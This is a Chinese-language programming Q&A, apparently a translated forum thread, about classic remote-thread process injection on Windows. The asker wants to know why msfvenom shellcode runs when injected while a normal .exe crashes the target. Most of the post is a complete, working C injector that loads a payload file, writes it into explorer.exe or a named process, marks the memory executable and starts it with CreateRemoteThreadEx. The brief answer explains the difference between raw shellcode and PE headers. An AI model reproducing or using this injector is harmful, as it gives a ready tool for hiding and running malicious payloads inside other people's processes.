最近在学习使用 C 进行进程注入的概念时,我注意到:
如果我尝试读取
msfvenom
生成的 shellcode 文件并将其注入到任何进程中,我的程序将完美运行并获得所需的结果。
如果我尝试读取任何正常的
.exe
文件并尝试将其注入到同一个进程中 - 进程每次都会崩溃。
最奇特的是我的注入器程序成功返回。这些字节被毫无问题地复制到目标进程中(我通过使用 Process Hacker 确认了这一点)。但是,当创建远程线程时,目标进程总是崩溃。
无论如何,
CreateRemoteThreadEx()
调用每次都会返回有效的ThreadID
。这是为什么?
注意:我使用 64 位注入器将 64 位代码注入到 64 位进程中,该注入器是使用 Microsoft C/C++ 64 位编译器编译的。所以没有任何问题。
这是我的整个代码:
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <fileapi.h>
#define okay(msg, ...) printf("[+] " msg " \n", ##__VA_ARGS__)
#define fail(msg, ...) printf("[-] " msg " \n", ##__VA_ARGS__)
#define info(msg, ...) printf("[!] " msg " \n", ##__VA_ARGS__)
#define MAX_SHELLCODE_SIZE 4096
DWORD GetShellCode(LPVOID out) {
HANDLE hFile = INVALID_HANDLE_VALUE;
hFile = CreateFileA(".\\payload.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
info("Unable to open payload file");
return 0;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
info("Unable to get payload file size");
CloseHandle(hFile);
return 0;
}
DWORD bytesRead;
BOOL bSuccess = ReadFile(hFile, out, fileSize, (LPDWORD)&bytesRead, NULL);
if (!bSuccess) {
info("Unable to read payload file");
CloseHandle(hFile);
return 0;
}
CloseHandle(hFile);
return bytesRead;
}
DWORD GetTargetID(const char* pName) {
HANDLE hSnapshot;
PROCESSENTRY32 pEntry;
DWORD pID = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
pEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pEntry) == FALSE) {
CloseHandle(hSnapshot);
return 0;
}
do {
if (strcmp(pName, pEntry.szExeFile) == 0) {
pID = pEntry.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pEntry));
CloseHandle(hSnapshot);
return pID;
}
int main(int argc, char *argv[]) {
DWORD pID = 0, tID = 0;
HANDLE pHandle;
HANDLE tHandle;
LPVOID xBuffer;
if (argc < 2) {
pID = GetTargetID("explorer.exe");
} else {
pID = GetTargetID(argv[1]);
if (pID == 0) {
info("Injector was unable to find the process you specified.");
return EXIT_FAILURE;
}
}
UCHAR shellcode[MAX_SHELLCODE_SIZE] = {0};
DWORD codeSize = GetShellCode(shellcode);
if (codeSize == 0) {
fail("Failed to get shellcode from payload file.");
return EXIT_FAILURE;
} else {
okay("Payload Size found : %ld", codeSize);
}
info("Injection Started. Opening remote process by ID: %ld ...", pID);
pHandle = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pID);
if (pHandle == NULL) {
fail("Unable to open remote process. Error: (%ld)", GetLastError());
} else {
okay("Successfully opend the remote process with provided access.");
info("Allocating %ld bytes of memory space to the target process.", codeSize);
xBuffer = VirtualAllocEx(pHandle, NULL, codeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (xBuffer == NULL) {
fail("Unable to allocate virtual memory in the target process. Error: (%ld)", GetLastError());
} else {
okay("Successfully allocated %ld bytes virtual memory space in the target process.", codeSize);
int len = 0;
info("Attempting to write shellcode into the allocated space (Address : 0x%p)", xBuffer);
BOOL wrtSuccess = WriteProcessMemory(pHandle, xBuffer, (LPCVOID)shellcode, (SIZE_T)codeSize, (SIZE_T*)&len);
if (!wrtSuccess) {
fail("Unable to write shellcode to the allocated memory of the target process. Error: (%ld)", GetLastError());
} else {
okay("Successfully copied %d bytes into the the target process.", len);
DWORD oldProtection;
BOOL bSuccess = VirtualProtectEx(pHandle, xBuffer, (SIZE_T)codeSize, PAGE_EXECUTE, &oldProtection);
if (!bSuccess) {
fail("Unable to change memory page protection status. Error: (%ld)", GetLastError());
} else {
info("Attempting to start remote thread with the copied shellcode");
tHandle = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)xBuffer, NULL, 0, 0, &tID);
if (tHandle == NULL) {
fail("Unable to create thread with the copied shellcode in the target process. Error: (%ud)", GetLastError());
} else {
okay("Injection Successfull. Executed remote shellcode (ThreadID: %ld) in the target process.", tID);
CloseHandle(tHandle);
}
}
}
}
CloseHandle(pHandle);
}
return EXIT_SUCCESS;
}
ShellCode 仅包含机器代码,这就是为什么您可以在线程中按原样运行 ShellCode。
.exe
文件不仅仅是机器代码。线程从您告诉它的地址开始运行机器代码。如果您只是按原样注入 .exe
数据,然后在该数据的开头启动一个线程,那么该线程当然会崩溃,因为 .exe
数据不是以机器代码开头。它以一系列元数据标头和查找表开始。创建线程的 API 没有您告诉它运行的机器代码的概念,这就是 API 不会失败的原因。